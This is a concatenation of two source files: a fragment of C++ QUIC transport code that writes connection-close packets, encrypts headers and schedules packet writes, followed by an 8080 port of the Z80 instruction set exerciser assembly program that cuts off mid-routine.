ConnectionCloseFrame(
QuicErrorCode(*closeDetails->first.asTransportErrorCode()),
closeDetails->second,
quic::FrameType::CONNECTION_CLOSE),
packetBuilder);
break;
case QuicErrorCode::Type::LocalErrorCode_E:
written = writeFrame(
ConnectionCloseFrame(
QuicErrorCode(TransportErrorCode::INTERNAL_ERROR),
std::string("Internal error"),
quic::FrameType::CONNECTION_CLOSE),
packetBuilder);
break;
}
}
if (written == 0) {
LOG(ERROR) << "Close frame too large " << connection;
return;
}
auto packet = std::move(packetBuilder).buildPacket();
auto body =
aead.encrypt(std::move(packet.body), packet.header.get(), packetNum);
encryptPacketHeader(headerForm, *packet.header, *body, headerCipher);
auto packetBuf = std::move(packet.header);
packetBuf->prependChain(std::move(body));
auto packetSize = packetBuf->computeChainDataLength();
if (connection.qLogger) {
connection.qLogger->addPacket(packet.packet, packetSize);
}
QUIC_TRACE(
packet_sent,
connection,
toString(pnSpace),
packetNum,
(uint64_t)packetSize,
(int)false,
(int)false);
VLOG(10) << nodeToString(connection.nodeType)
<< " sent close packetNum=" << packetNum << " in space=" << pnSpace
<< " " << connection;
// Increment the sequence number.
// TODO: Do not increase pn if write fails
increaseNextPacketNum(connection, pnSpace);
// best effort writing to the socket, ignore any errors.
auto ret = sock.write(connection.peerAddress, packetBuf);
connection.lossState.totalBytesSent += packetSize;
if (ret < 0) {
VLOG(4) << "Error writing connection close " << folly::errnoStr(errno)
<< " " << connection;
} else {
QUIC_STATS(connection.infoCallback, onWrite, ret);
}
}
void writeLongClose(
folly::AsyncUDPSocket& sock,
QuicConnectionStateBase& connection,
const ConnectionId& srcConnId,
const ConnectionId& dstConnId,
LongHeader::Types headerType,
folly::Optional<std::pair<QuicErrorCode, std::string>> closeDetails,
const Aead& aead,
const PacketNumberCipher& headerCipher,
QuicVersion version) {
if (!connection.serverConnectionId) {
// It's possible that servers encountered an error before binding to a
// connection id.
return;
}
LongHeader header(
headerType,
srcConnId,
dstConnId,
getNextPacketNum(
connection, LongHeader::typeToPacketNumberSpace(headerType)),
version);
writeCloseCommon(
sock,
connection,
std::move(header),
std::move(closeDetails),
aead,
headerCipher);
}
void writeShortClose(
folly::AsyncUDPSocket& sock,
QuicConnectionStateBase& connection,
const ConnectionId& connId,
folly::Optional<std::pair<QuicErrorCode, std::string>> closeDetails,
const Aead& aead,
const PacketNumberCipher& headerCipher) {
auto header = ShortHeader(
ProtectionType::KeyPhaseZero,
connId,
getNextPacketNum(connection, PacketNumberSpace::AppData));
writeCloseCommon(
sock,
connection,
std::move(header),
std::move(closeDetails),
aead,
headerCipher);
}
void encryptPacketHeader(
HeaderForm headerForm,
folly::IOBuf& header,
folly::IOBuf& encryptedBody,
const PacketNumberCipher& headerCipher) {
// Header encryption.
auto packetNumberLength = parsePacketNumberLength(header.data()[0]);
Sample sample;
size_t sampleBytesToUse = kMaxPacketNumEncodingSize - packetNumberLength;
folly::io::Cursor sampleCursor(&encryptedBody);
// If there were less than 4 bytes in the packet number, some of the payload
// bytes will also be skipped during sampling.
sampleCursor.skip(sampleBytesToUse);
CHECK(sampleCursor.canAdvance(sample.size())) << "Not enough sample bytes";
sampleCursor.pull(sample.data(), sample.size());
// This should already be a single buffer.
header.coalesce();
folly::MutableByteRange initialByteRange(header.writableData(), 1);
folly::MutableByteRange packetNumByteRange(
header.writableData() + header.length() - packetNumberLength,
packetNumberLength);
if (headerForm == HeaderForm::Short) {
headerCipher.encryptShortHeader(
sample, initialByteRange, packetNumByteRange);
} else {
headerCipher.encryptLongHeader(
sample, initialByteRange, packetNumByteRange);
}
}
uint64_t writeConnectionDataToSocket(
folly::AsyncUDPSocket& sock,
QuicConnectionStateBase& connection,
const ConnectionId& srcConnId,
const ConnectionId& dstConnId,
HeaderBuilder builder,
PacketNumberSpace pnSpace,
QuicPacketScheduler& scheduler,
const WritableBytesFunc& writableBytesFunc,
uint64_t packetLimit,
const Aead& aead,
const PacketNumberCipher& headerCipher,
QuicVersion version,
const std::string& token) {
VLOG(10) << nodeToString(connection.nodeType)
<< " writing data using scheduler=" << scheduler.name() << " "
<< connection;
auto batchWriter = BatchWriterFactory::makeBatchWriter(
sock,
connection.transportSettings.batchingMode,
connection.transportSettings.maxBatchSize);
IOBufQuicBatch ioBufBatch(
std::move(batchWriter),
sock,
connection.peerAddress,
connection,
connection.happyEyeballsState);
ioBufBatch.setContinueOnNetworkUnreachable(
connection.transportSettings.continueOnNetworkUnreachable);
if (connection.loopDetectorCallback) {
connection.debugState.schedulerName = scheduler.name();
connection.debugState.noWriteReason = NoWriteReason::WRITE_OK;
if (!scheduler.hasData()) {
connection.debugState.noWriteReason = NoWriteReason::EMPTY_SCHEDULER;
}
}
while (scheduler.hasData() && ioBufBatch.getPktSent() < packetLimit) {
auto packetNum = getNextPacketNum(connection, pnSpace);
auto header = builder(srcConnId, dstConnId, packetNum, version, token);
uint32_t writableBytes = folly::to<uint32_t>(std::min<uint64_t>(
connection.udpSendPacketLen, writableBytesFunc(connection)));
uint64_t cipherOverhead = aead.getCipherOverhead();
if (writableBytes < cipherOverhead) {
writableBytes = 0;
} else {
writableBytes -= cipherOverhead;
}
RegularQuicPacketBuilder pktBuilder(
connection.udpSendPacketLen,
std::move(header),
getAckState(connection, pnSpace).largestAckedByPeer,
connection.version.value_or(*connection.originalVersion));
pktBuilder.setCipherOverhead(cipherOverhead);
auto result =
scheduler.scheduleFramesForPacket(std::move(pktBuilder), writableBytes);
auto& packet = result.second;
if (!packet || packet->packet.frames.empty()) {
ioBufBatch.flush();
if (connection.loopDetectorCallback) {
connection.debugState.noWriteReason = NoWriteReason::NO_FRAME;
}
return ioBufBatch.getPktSent();
}
if (!packet->body) {
// No more space remaining.
ioBufBatch.flush();
if (connection.loopDetectorCallback) {
connection.debugState.noWriteReason = NoWriteReason::NO_BODY;
}
return ioBufBatch.getPktSent();
}
auto body =
aead.encrypt(std::move(packet->body), packet->header.get(), packetNum);
HeaderForm headerForm = packet->packet.header.getHeaderForm();
encryptPacketHeader(headerForm, *packet->header, *body, headerCipher);
auto packetBuf = std::move(packet->header);
packetBuf->prependChain(std::move(body));
auto encodedSize = packetBuf->computeChainDataLength();
bool ret = ioBufBatch.write(std::move(packetBuf), encodedSize);
if (ret) {
// update stats and connection
QUIC_STATS(connection.infoCallback, onWrite, encodedSize);
QUIC_STATS(connection.infoCallback, onPacketSent);
}
updateConnection(
connection,
std::move(result.first),
std::move(result.second->packet),
Clock::now(),
folly::to<uint32_t>(encodedSize));
// if ioBufBatch.write returns false
// it is because a flush() call failed
if (!ret) {
if (connection.loopDetectorCallback) {
connection.debugState.noWriteReason = NoWriteReason::SOCKET_FAILURE;
}
return ioBufBatch.getPktSent();
}
}
ioBufBatch.flush();
return ioBufBatch.getPktSent();
}
uint64_t writeProbingDataToSocket(
folly::AsyncUDPSocket& sock,
QuicConnectionStateBase& connection,
const ConnectionId& srcConnId,
const ConnectionId& dstConnId,
const HeaderBuilder& builder,
PacketNumberSpace pnSpace,
FrameScheduler scheduler,
uint8_t probesToSend,
const Aead& aead,
const PacketNumberCipher& headerCipher,
QuicVersion version) {
CloningScheduler cloningScheduler(
scheduler, connection, "CloningScheduler", aead.getCipherOverhead());
auto written = writeConnectionDataToSocket(
sock,
connection,
srcConnId,
dstConnId,
builder,
pnSpace,
cloningScheduler,
unlimitedWritableBytes,
probesToSend,
aead,
headerCipher,
version);
VLOG_IF(10, written > 0)
<< nodeToString(connection.nodeType)
<< " writing probes using scheduler=CloningScheduler " << connection;
return written;
}
WriteDataReason shouldWriteData(const QuicConnectionStateBase& conn) {
if (conn.pendingEvents.numProbePackets) {
VLOG(10) << nodeToString(conn.nodeType) << " needs write because of PTO"
<< conn;
return WriteDataReason::PROBES;
}
if (hasAckDataToWrite(conn)) {
VLOG(10) << nodeToString(conn.nodeType) << " needs write because of ACKs "
<< conn;
return WriteDataReason::ACK;
}
const size_t minimumDataSize = std::max(
kLongHeaderHeaderSize + kCipherOverheadHeuristic, sizeof(Sample));
uint64_t availableWriteWindow = congestionControlWritableBytes(conn);
if (availableWriteWindow <= minimumDataSize) {
QUIC_STATS(conn.infoCallback, onCwndBlocked);
return WriteDataReason::NO_WRITE;
}
return hasNonAckDataToWrite(conn);
}
bool hasAckDataToWrite(const QuicConnectionStateBase& conn) {
// hasAcksToSchedule tells us whether we have acks.
// needsToSendAckImmediately tells us when to schedule the acks. If we don't
// have an immediate need to schedule the acks then we need to wait till we
// satisfy a condition where there is immediate need, so we shouldn't
// consider the acks to be writable.
bool writeAcks =
(toWriteInitialAcks(conn) || toWriteHandshakeAcks(conn) ||
toWriteAppDataAcks(conn));
VLOG_IF(10, writeAcks) << nodeToString(conn.nodeType)
<< " needs write because of acks largestAck="
<< largestAckToSendToString(conn) << " largestSentAck="
<< largestAckScheduledToString(conn)
<< " ackTimeoutSet="
<< conn.pendingEvents.scheduleAckTimeout << " "
<< conn;
return writeAcks;
}
WriteDataReason hasNonAckDataToWrite(const QuicConnectionStateBase& conn) {
if (cryptoHasWritableData(conn)) {
VLOG(10) << nodeToString(conn.nodeType)
<< " needs write because of crypto stream"
<< " " << conn;
return WriteDataReason::CRYPTO_STREAM;
}
if (!conn.oneRttWriteCipher && !conn.zeroRttWriteCipher) {
// All the rest of the types of data need either a 1-rtt or 0-rtt cipher to
// be written.
return WriteDataReason::NO_WRITE;
}
if (!conn.pendingEvents.resets.empty()) {
return WriteDataReason::RESET;
}
if (conn.streamManager->hasWindowUpdates()) {
return WriteDataReason::STREAM_WINDOW_UPDATE;
}
if (conn.pendingEvents.connWindowUpdate) {
return WriteDataReason::CONN_WINDOW_UPDATE;
}
if (conn.streamManager->hasBlocked()) {
return WriteDataReason::BLOCKED;
}
if (conn.streamManager->hasLoss()) {
return WriteDataReason::LOSS;
}
if (getSendConnFlowControlBytesWire(conn) != 0 &&
conn.streamManager->hasWritable()) {
return WriteDataReason::STREAM;
}
if (!conn.pendingEvents.frames.empty()) {
return WriteDataReason::SIMPLE;
}
if ((conn.pendingEvents.pathChallenge != folly::none)) {
return WriteDataReason::PATHCHALLENGE;
}
return WriteDataReason::NO_WRITE;
}
void maybeSendStreamLimitUpdates(QuicConnectionStateBase& conn) {
auto update = conn.streamManager->remoteBidirectionalStreamLimitUpdate();
if (update) {
sendSimpleFrame(conn, (MaxStreamsFrame(*update, true)));
}
update = conn.streamManager->remoteUnidirectionalStreamLimitUpdate();
if (update) {
sendSimpleFrame(conn, (MaxStreamsFrame(*update, false)));
}
}
} // namespace quic
|
title 'Z80 instruction set exerciser'
; zexlax.z80 - Z80 instruction set exerciser
; Copyright (C) 1994 Frank D. Cringle
;
; This program is free software; you can redistribute it and/or
; modify it under the terms of the GNU General Public License
; as published by the Free Software Foundation; either version 2
; of the License, or (at your option) any later version.
;
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with this program; if not, write to the Free Software
; Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
;
;******************************************************************************
;
; Modified to exercise an 8080 by Ian Bartholomew, February 2009
;
; CRC values for a KR580VM80A CPU
;
; I have made the following changes -
;
; Converted all mnemonics to 8080 and rewritten any Z80 code used
; in the original exerciser. Changes are tagged with a #idb in the
; source code listing.
;
; Removed any test descriptors that are not used.
;
; Changed the macro definitions to work in M80
;
; The machine state snapshot has been changed to remove the IX/IY registers.
; They have been replaced by two more copies of HL to obviate the need
; for major changes in the exerciser code.
;
; Changed flag mask in all tests to 0ffh to reflect that the 8080, unlike the 8085
; and Z80, does define the unused bits in the flag register - [S Z 0 AC 0 P 1 C]
;
;******************************************************************************
.8080
aseg
org 100h
begin: jmp start
; machine state before test (needs to be at predictably constant address)
msbt: ds 14
spbt: ds 2
; For the purposes of this test program, the machine state consists of:
; a 2 byte memory operand, followed by
; the registers iy,ix,hl,de,bc,af,sp
; for a total of 16 bytes.
; The program tests instructions (or groups of similar instructions)
; by cycling through a sequence of machine states, executing the test
; instruction for each one and running a 32-bit crc over the resulting
; machine states. At the end of the sequence the crc is compared to
; an expected value that was found empirically on a real Z80.
; A test case is defined by a descriptor which consists of:
; a flag mask byte,
; the base case,
; the incement vector,
; the shift vector,
; the expected crc,
; a short descriptive message.
;
; The flag mask byte is used to prevent undefined flag bits from
; influencing the results. Documented flags are as per Mostek Z80
; Technical Manual.
;
; The next three parts of the descriptor are 20 byte vectors
; corresponding to a 4 byte instruction and a 16 byte machine state.
; The first part is the base case, which is the first test case of
; the sequence. This base is then modified according to the next 2
; vectors. Each 1 bit in the increment vector specifies a bit to be
; cycled in the form of a binary counter. For instance, if the byte
; corresponding to the accumulator is set to 0ffh in the increment
; vector, the test will be repeated for all 256 values of the
; accumulator. Note that 1 bits don't have to be contiguous. The
; number of test cases 'caused' by the increment vector is equal to
; 2^(number of 1 bits). The shift vector is similar, but specifies a
; set of bits in the test case that are to be successively inverted.
; Thus the shift vector 'causes' a number of test cases equal to the
; number of 1 bits in it.
; The total number of test cases is the product of those caused by the
; counter and shift vectors and can easily become unweildy. Each
; individual test case can take a few milliseconds to execute, due to
; the overhead of test setup and crc calculation, so test design is a
; compromise between coverage and execution time.
; This program is designed to detect differences between
; implementations and is not ideal for diagnosing the causes of any
; discrepancies. However, provided a reference implementation (or
; real system) is available, a failing test case can be isolated by
; hand using a binary search of the test space.
start: lhld 6
sphl
lxi d,msg1
mvi c,9
call bdos
lxi h,tests ; first test case
loop: mov a,m ; end of list ?
inx h
ora m
jz done
dcx h
call stt
jmp loop
done: lxi d,msg2
mvi c,9
call bdos
jmp 0 ; warm boot
tests:
dw add16
dw alu8i
dw alu8r
dw daa
dw inca
dw incb
dw incbc
dw incc
dw incd
dw incde
dw ince
dw inch
dw inchl
dw incl
dw incm
dw incsp
dw ld162
dw ld166
dw ld16im
dw ld8bd
dw ld8im
dw ld8rr
dw lda
dw rot8080
dw stabd
dw 0
tstr macro insn,memop,hliy,hlix,hl,de,bc,flags,acc,sp
local lab
lab: db insn
ds lab+4-$,0
dw memop,hliy,hlix,hl,de,bc
db flags
db acc
dw sp
if $-lab ne 20
error 'missing parameter'
endif
endm
tmsg macro m
local lab
lab: db m
if $ ge lab+30
error 'message too long'
else
ds lab+30-$,'.'
endif
db '$'
endm
; add hl,<bc,de,hl,sp> (19,456 cycles)
add16: db 0ffh ; flag mask
tstr 9,0c4a5h,0c4c7h,0d226h,0a050h,058eah,08566h,0c6h,0deh,09bc9h
tstr 030h,0,0,0,0f821h,0,0,0,0,0 ; (512 cycles)
tstr 0,0,0,0,-1,-1,-1,0d7h,0,-1 ; (38 cycles)
db 014h, 047h, 04bh, 0a6h ; expected crc
tmsg 'dad <b,d,h,sp>'
; aluop a,nn (28,672 cycles)
alu8i: db 0ffh ; flag mask
tstr 0c6h,09140h,07e3ch,07a67h,0df6dh,05b61h,00b29h,010h,066h,085b2h
tstr 038h,0,0,0,0,0,0,0,-1,0 ; (2048 cycles)
tstr <0,-1>,0,0,0,0,0,0,0d7h,0,0 ; (14 cycles)
db 09eh, 092h, 02fh, 09eh ; expected crc
tmsg 'aluop nn'
; aluop a,<b,c,d,e,h,l,(hl),a> (753,664 cycles)
alu8r: db 0ffh ; flag mask
tstr 080h,0c53eh,0573ah,04c4dh,msbt,0e309h,0a666h,0d0h,03bh,0adbbh
tstr 03fh,0,0,0,0,0,0,0,-1,0 ; (16,384 cycles)
tstr 0,0ffh,0,0,0,-1,-1,0d7h,0,0 ; (46 cycles)
db 0cfh, 076h, 02ch, 086h ; expected crc
tmsg 'aluop <b,c,d,e,h,l,m,a>'
; <daa,cpl,scf,ccf>
daa: db 0ffh ; flag mask
tstr 027h,02141h,009fah,01d60h,0a559h,08d5bh,09079h,004h,08eh,0299dh
tstr 018h,0,0,0,0,0,0,0d7h,-1,0 ; (65,536 cycles)
tstr 0,0,0,0,0,0,0,0,0,0 ; (1 cycle)
db 0bbh,03fh,003h,00ch ; expected crc
tmsg '<daa,cma,stc,cmc>'
; <inc,dec> a (3072 cycles)
inca: db 0ffh ; flag mask
tstr 03ch,04adfh,0d5d8h,0e598h,08a2bh,0a7b0h,0431bh,044h,05ah,0d030h
tstr 001h,0,0,0,0,0,0,0,-1,0 ; (512 cycles)
tstr 0,0,0,0,0,0,0,0d7h,0,0 ; (6 cycles)
db 0adh,0b6h,046h,00eh ; expected crc
tmsg '<inr,dcr> a'
; <inc,dec> b (3072 cycles)
incb: db 0ffh ; flag mask
tstr 004h,0d623h,0432dh,07a61h,08180h,05a86h,01e85h,086h,058h,09bbbh
tstr 001h,0,0,0,0,0,0ff00h,0,0,0 ; (512 cycles)
tstr 0,0,0,0,0,0,0,0d7h,0,0 ; (6 cycles)
db 083h,0edh,013h,045h ; expected crc
tmsg '<inr,dcr> b'
; <inc,dec> bc (1536 cycles)
incbc: db 0ffh ; flag mask
tstr 003h,0cd97h,044abh,08dc9h,0e3e3h,011cch,0e8a4h,002h,049h,02a4dh
tstr 008h,0,0,0,0,0,0f821h,0,0,0 ; (256 cycles)
tstr 0,0,0,0,0,0,0,0d7h,0,0 ; (6 cycles)
db 0f7h,092h,087h,0cdh ; expected crc
tmsg '<inx,dcx> b'
; <inc,dec> c (3072 cycles)
incc: db 0ffh ; flag mask
tstr 00ch,0d789h,00935h,0055bh,09f85h,08b27h,0d208h,095h,005h,00660h
tstr 001h,0,0,0,0,0,0ffh,0,0,0 ; (512 cycles)
tstr 0,0,0,0,0,0,0,0d7h,0,0 ; (6 cycles)
db 0e5h,0f6h,072h,01bh ; expected crc
tmsg '<inr,dcr> c'
; <inc,dec> d (3072 cycles)
incd: db 0ffh ; flag mask
tstr 014h,0a0eah,05fbah,065fbh,0981ch,038cch,0debch,043h,05ch,003bdh
tstr 001h,0,0,0,0,0ff00h,0,0,0,0 ; (512 cycles)
tstr 0,0,0,0,0,0,0,0d7h,0,0 ; (6 cycles)
db 015h,0b5h,057h,09ah ; expected crc
tmsg '<inr,dcr> d'
; <inc,dec> de (1536 cycles)
incde: db 0ffh ; flag mask
tstr 013h,0342eh,0131dh,028c9h,00acah,09967h,03a2eh,092h,0f6h,09d54h
tstr 008h,0,0,0,0,0f821h,0,0,0,0 ; (256 cycles)
tstr 0,0,0,0,0,0,0,0d7h,0,0 ; (6 cycles)
db 07fh,04eh,025h,001h ; expected crc
tmsg '<inx,dcx> d'
; <inc,dec> e (3072 cycles)
ince: db 0ffh ; flag mask
tstr 01ch,0602fh,04c0dh,02402h,0e2f5h,0a0f4h,0a10ah,013h,032h,05925h
tstr 001h,0,0,0,0,0ffh,0,0,0,0 ; (512 cycles)
tstr 0,0,0,0,0,0,0,0d7h,0,0 ; (6 cycles)
db 0cfh,02ah,0b3h,096h ; expected crc
tmsg '<inr,dcr> e'
; <inc,dec> h (3072 cycles)
inch: db 0ffh ; flag mask
tstr 024h,01506h,0f2ebh,0e8ddh,0262bh,011a6h,0bc1ah,017h,006h,02818h
tstr 001h,0,0,0,0ff00h,0,0,0,0,0 ; (512 cycles)
tstr 0,0,0,0,0,0,0,0d7h,0,0 ; (6 cycles)
db 012h,0b2h,095h,02ch ; expected crc
tmsg '<inr,dcr> h'
; <inc,dec> hl (1536 cycles)
inchl: db 0ffh ; flag mask
tstr 023h,0c3f4h,007a5h,01b6dh,04f04h,0e2c2h,0822ah,057h,0e0h,0c3e1h
tstr 008h,0,0,0,0f821h,0,0,0,0,0 ; (256 cycles)
tstr 0,0,0,0,0,0,0,0d7h,0,0 ; (6 cycles)
db 09fh,02bh,023h,0c0h ; expected crc
tmsg '<inx,dcx> h'
; <inc,dec> l (3072 cycles)
incl: db 0ffh ; flag mask
tstr 02ch,08031h,0a520h,04356h,0b409h,0f4c1h,0dfa2h,0d1h,03ch,03ea2h
tstr 001h,0,0,0,0ffh,0,0,0,0,0 ; (512 cycles)
tstr 0,0,0,0,0,0,0,0d7h,0,0 ; (6 cycles)
db 0ffh,057h,0d3h,056h ; expected crc
tmsg '<inr,dcr> l'
; <inc,dec> (hl) (3072 cycles)
incm: db 0ffh ; flag mask
tstr 034h,0b856h,00c7ch,0e53eh,msbt,0877eh,0da58h,015h,05ch,01f37h
tstr 001h,0ffh,0,0,0,0,0,0,0,0 ; (512 cycles)
tstr 0,0,0,0,0,0,0,0d7h,0,0 ; (6 cycles)
db 092h,0e9h,063h,0bdh ; expected crc
tmsg '<inr,dcr> m'
; <inc,dec> sp (1536 cycles)
incsp: db 0ffh ; flag mask
tstr 033h,0346fh,0d482h,0d169h,0deb6h,0a494h,0f476h,053h,002h,0855bh
tstr 008h,0,0,0,0,0,0,0,0,0f821h ; (256 cycles)
tstr 0,0,0,0,0,0,0,0d7h,0,0 ; (6 cycles)
db 0d5h,070h,02fh,0abh ; expected crc
tmsg '<inx,dcx> sp'
; ld hl,(nnnn) (16 cycles)
ld162: db 0ffh ; flag mask
tstr <02ah,low msbt,high msbt>,09863h,07830h,02077h,0b1feh,0b9fah,0abb8h,004h,006h,06015h
tstr 0,0,0,0,0,0,0,0,0,0 ; (1 cycle)
tstr 0,-1,0,0,0,0,0,0,0,0 ; (16 cycles)
db 0a9h,0c3h,0d5h,0cbh ; expected crc
tmsg 'lhld nnnn'
; ld (nnnn),hl (16 cycles)
ld166: db 0ffh ; flag mask
tstr <022h,low msbt,high msbt>,0d003h,07772h,07f53h,03f72h,064eah,0e180h,010h,02dh,035e9h
tstr 0,0,0,0,0,0,0,0,0,0 ; (1 cycle)
tstr 0,0,0,0,-1,0,0,0,0,0 ; (16 cycles)
db 0e8h,086h,04fh,026h ; expected crc
tmsg 'shld nnnn'
; ld <bc,de,hl,sp>,nnnn (64 cycles)
ld16im: db 0ffh ; flag mask
tstr 1,05c1ch,02d46h,08eb9h,06078h,074b1h,0b30eh,046h,0d1h,030cch
tstr 030h,0,0,0,0,0,0,0,0,0 ; (4 cycles)
tstr <0,0ffh,0ffh>,0,0,0,0,0,0,0,0,0 ; (16 cycles)
db 0fch,0f4h,06eh,012h ; expected crc
tmsg 'lxi <b,d,h,sp>,nnnn'
; ld a,<(bc),(de)> (44 cycles)
ld8bd: db 0ffh ; flag mask
tstr 00ah,0b3a8h,01d2ah,07f8eh,042ach,msbt,msbt,0c6h,0b1h,0ef8eh
tstr 010h,0,0,0,0,0,0,0,0,0 ; (2 cycles)
tstr 0,0ffh,0,0,0,0,0,0d7h,-1,0 ; (22 cycles)
db 02bh,082h,01dh,05fh ; expected crc
tmsg 'ldax <b,d>'
; ld <b,c,d,e,h,l,(hl),a>,nn (64 cycles)
ld8im: db 0ffh ; flag mask
tstr 6,0c407h,0f49dh,0d13dh,00339h,0de89h,07455h,053h,0c0h,05509h
tstr 038h,0,0,0,0,0,0,0,0,0 ; (8 cycles)
tstr 0,0,0,0,0,0,0,0,-1,0 ; (8 cycles)
db 0eah,0a7h,020h,044h ; expected crc
tmsg 'mvi <b,c,d,e,h,l,m,a>,nn'
; ld <b,c,d,e,h,l,a>,<b,c,d,e,h,l,a> (3456 cycles)
ld8rr: db 0ffh ; flag mask
tstr 040h,072a4h,0a024h,061ach,msbt,082c7h,0718fh,097h,08fh,0ef8eh
tstr 03fh,0,0,0,0,0,0,0,0,0 ; (64 cycles)
tstr 0,0ffh,0,0,0,-1,-1,0d7h,-1,0 ; (54 cycles)
db 010h,0b5h,08ch,0eeh ; expected crc
tmsg 'mov <bcdehla>,<bcdehla>'
; ld a,(nnnn) / ld (nnnn),a (44 cycles)
lda: db 0ffh ; flag mask
tstr <032h,low msbt,high msbt>,0fd68h,0f4ech,044a0h,0b543h,00653h,0cdbah,0d2h,04fh,01fd8h
tstr 008h,0,0,0,0,0,0,0,0,0 ; (2 cycle)
tstr 0,0ffh,0,0,0,0,0,0d7h,-1,0 ; (22 cycles)
db 0edh,057h,0afh,072h ; expected crc
tmsg 'sta nnnn / lda nnnn'
; <rlca,rrca,rla,rra> (6144 cycles)
rot8080: db 0ffh ; flag mask
tstr 7,0cb92h,06d43h,00a90h,0c284h,00c53h,0f50eh,091h,0ebh,040fch
tstr 018h,0,0,0,0,0,0,0,-1,0 ; (1024 cycles)
tstr 0,0,0,0,0,0,0,0d7h,0,0 ; (6 cycles)
db 0e0h,0d8h,092h,035h ; expected crc
tmsg '<rlc,rrc,ral,rar>'
; ld (<bc,de>),a (96 cycles)
stabd: db 0ffh ; flag mask
tstr 2,00c3bh,0b592h,06cffh,0959eh,msbt,msbt+1,0c1h,021h,0bde7h
tstr 018h,0,0,0,0,0,0,0,0,0 ; (4 cycles)
tstr 0,-1,0,0,0,0,0,0,-1,0 ; (24 cycles)
db 02bh,004h,071h,0e9h ; expected crc
tmsg 'stax <b,d>'
; start test pointed to by (hl)
stt: push h
mov a,m ; get pointer to test
inx h
mov h,m
mov l,a
mov a,m ; flag mask
sta flgmsk+1
inx h
push h
lxi d,20
dad d ; point to incmask
lxi d,counter
call initmask
pop h
push h
lxi d,20+20
dad d ; point to scanmask
lxi d,shifter
call initmask
lxi h,shifter
mvi m,1 ; first bit
pop h
push h
lxi d,iut ; copy initial instruction under test
lxi b,4
;#idb ldir replaced with following code
ldir1: mov a,m
stax d
inx h
inx d
dcx b
mov a,b
ora c
jnz ldir1
;#idb
lxi d,msbt ; copy initial machine state
lxi b,16
;#idb ldir replaced with following code
ldir2: mov a,m
stax d
inx h
inx d
dcx b
mov a,b
ora c
jnz ldir2
;#idb
lxi d,20+20+4 ; skip incmask, scanmask and expcrc
dad d
xchg
mvi c,9
call bdos ; show test name
call initcrc ; initialise crc
; test loop
tlp: lda iut
cpi 076h ; pragmatically avoid halt intructions
jz tlp2
ani 0dfh
cpi 0ddh
jnz tlp1
lda iut+1
cpi 076h
tlp1: cnz test ; execute the test instruction
tlp2: call count ; increment the counter
cnz shift ; shift the scan bit
pop h ; pointer to test case
jz tlp3 ; done if shift returned NZ
lxi d,20+20+20
dad d ; point to expected crc
call cmpcrc
lxi d,okmsg
jz tlpok
lxi d,ermsg1
mvi c,9
call bdos
call phex8
lxi d,ermsg2
mvi c,9
call bdos
lxi h,crcval
call phex8
lxi d,crlf
tlpok: mvi c,9
call bdos
pop h
inx h
inx h
ret
tlp3: push h
mvi a,1 ; initialise count and shift scanners
sta cntbit
sta shfbit
lxi h,counter
shld cntbyt
lxi h,shifter
shld shfbyt
mvi b,4 ; bytes in iut field
pop h ; pointer to test case
push h
lxi d,iut
call setup ; setup iut
mvi b,16 ; bytes in machine state
lxi d,msbt
call setup ; setup machine state
jmp tlp
; setup a field of the test case
; b = number of bytes
; hl = pointer to base case
; de = destination
setup: call subyte
inx h
dcr b
jnz setup
ret
subyte: push b
push d
push h
mov c,m ; get base byte
lxi d,20
dad d ; point to incmask
mov a,m
cpi 0
jz subshf
mvi b,8 ; 8 bits
subclp: rrc
push psw
mvi a,0
cc nxtcbit ; get next counter bit if mask bit was set
xra c ; flip bit if counter bit was set
rrc
mov c,a
pop psw
dcr b
jnz subclp
mvi b,8
subshf: lxi d,20
dad d ; point to shift mask
mov a,m
cpi 0
jz substr
mvi b,8 ; 8 bits
sbshf1: rrc
push psw
mvi a,0
cc nxtsbit ; get next shifter bit if mask bit was set
xra c ; flip bit if shifter bit was set
rrc
mov c,a
pop psw
dcr b
jnz sbshf1
substr: pop h
pop d
mov a,c
stax d ; mangled byte to destination
inx d
pop b
ret
; get next counter bit in low bit of a
cntbit: ds 1
cntbyt: ds 2
nxtcbit: push b
push h
lhld cntbyt
mov b,m
lxi h,cntbit
mov a,m
mov c,a
rlc
mov m,a
cpi 1
jnz ncb1
lhld cntbyt
inx h
shld cntbyt
ncb1: mov a,b
ana c
pop h
pop b
rz
mvi a,1
ret
; get next shifter bit in low bit of a
shfbit: ds 1
shfbyt: ds 2
nxtsbit: push b
push h
lhld shfbyt
mov b,m
lxi h,shfbit
mov a,m
mov c,a
rlc
mov m,a
cpi 1
jnz nsb1
lhld shfbyt
inx h
shld shfbyt
nsb1: mov a,b
ana c
pop h
pop b
rz
mvi a,1
ret
; clear memory at hl, bc bytes
clrmem: push psw
push b
push d
push h
mvi m,0
mov d,h
mov e,l
inx d
dcx b
;#idb ldir replaced with following code
ldir3: mov a,m
stax d
inx h
inx d
dcx b
mov a,b
ora c
jnz ldir3
;#idb
pop h
pop d
pop b
pop psw
ret
; initialise counter or shifter
; de = pointer to work area for counter or shifter
; hl = pointer to mask
initmask:
push d
xchg
lxi b,20+20
call clrmem ; clear work area
xchg
mvi b,20 ; byte counter
mvi c,1 ; first bit
mvi d,0 ; bit counter
imlp: mov e,m
imlp1: mov a,e
ana c
jz imlp2
inr d
imlp2: mov a,c
rlc
mov c,a
cpi 1
jnz imlp1
inx h
dcr b
jnz imlp
; got number of 1-bits in mask in reg d
mov a,d
ani 0f8h
rrc
rrc
rrc ; divide by 8 (get byte offset)
mov l,a
mvi h,0
mov a,d
ani 7 ; bit offset
inr a
mov b,a
mvi a,080h
imlp3: rlc
dcr b
jnz imlp3
pop d
dad d
lxi d,20
dad d
mov m,a
ret
; multi-byte counter
count: push b
push d
push h
lxi h,counter ; 20 byte counter starts here
lxi d,20 ; somewhere in here is the stop bit
xchg
dad d
xchg
cntlp: inr m
mov a,m
cpi 0
jz cntlp1 ; overflow to next byte
mov b,a
ldax d
ana b ; test for terminal value
jz cntend
mvi m,0 ; reset to zero
cntend: pop b
pop d
pop h
ret
cntlp1: inx h
inx d
jmp cntlp
; multi-byte shifter
shift: push b
push d
push h
lxi h,shifter ; 20 byte shift register starts here
lxi d,20 ; somewhere in here is the stop bit
xchg
dad d
xchg
shflp: mov a,m
ora a
jz shflp1
mov b,a
ldax d
ana b
jnz shlpe
mov a,b
rlc
cpi 1
jnz shflp2
mvi m,0
